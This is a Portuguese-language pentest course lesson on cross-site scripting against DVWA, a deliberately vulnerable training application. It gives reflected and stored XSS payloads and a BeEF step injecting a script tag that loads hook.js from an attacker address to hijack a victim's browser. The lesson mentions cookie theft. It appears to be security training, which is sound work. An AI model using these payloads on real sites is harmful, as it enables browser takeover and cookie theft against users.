Pentest com Kali Linux

Instrutor:Vitor Mazuco

http://facebook.com/vitormazuco

Email:vitor.mazuco@gmail.com

WebSite:
http://vmzsolutions.com.br

Cross Site Scripting (XSS)

Nessa aula, vamos aprender a usar as técnicas de Cross Site Scripting (XSS) em nosso DVWA. Um ataque de XSS consiste em injetar scripts em JS a partir do navegador. Assim o código roda pelo navegador para fazer algumas ações. Esse tipo de prática é muito comum para começar os ataques de CSRF. Há dois tipos de ataques XSS, o de Recursive e o Stored.

Cross Site Scripting (XSS)

Nessa aula vamos usar o DVWA e vamos entrar na aba do Cross Site Scripting (XSS). No seu campo, vamos colocar esses conteúdos:

- Vitor
- <script>alert('Ola')</script>

Você verá que irá abrir uma caixa e ele mostra o seu código na sua URL. Logo podemos passar esse link para um outro usuário, e assim podemos roubar os seus cookies, logs, fazer um redirect, etc.

Mas o mais legal é ver a segunda opção, o XSS Stored. Nesse caso não precisamos passar nenhum link, apenas vamos querer explorar vulnerabilidades de sites que permitem o envio de mensagens. Se essas mensagens não passam por nenhum tipo de filtro, nos podemos jogar um código dentro dele.

Nos podemos preencher com os seguintes conteúdos:

Name *: Fulano

Message *: <script>alert('Ola')</script>

Agora toda vez que você recarregar essa página essa aba de mensagem irá aperecer e ele já foi injetado diretamente no código fonte da página. Mesmo se você sair dela e voltar, esse código vai aparecer novamente.

Mas voltando ao XSS Reflected podemos usar o Beef como aliado desse recurso. Vamos abrir o terminal e rodar esses comandos:

- cd /usr/share/beef-xss
- ./beef

O Beef disponibiliza um link em JS chamado de hook.js que nele podemos copiar e colocar na URL do DVWA e assim podemos ter o acesso ao navegador de nossa vítima. Vamos entrar em sua interface web com o login de beef e senha beef e depois vamos voltar ao XSS Reflected e jogar o script que foi feito antes:

- <script>alert('Ola')</script>

Agora, vamos pegar o link do hook.js e jogar no campo da URL

de nosso DVWA com as seguintes alterações:

- De:
  - name=<script>alert('Ola')<…
- Para:
  - name=<script src=http://192.168.1.75:3000/hook.js<...

Agora, o seu Beef já capturou o seu navegador e podemos usar

testar algumas vulnerabilidades que existem nesse navegador.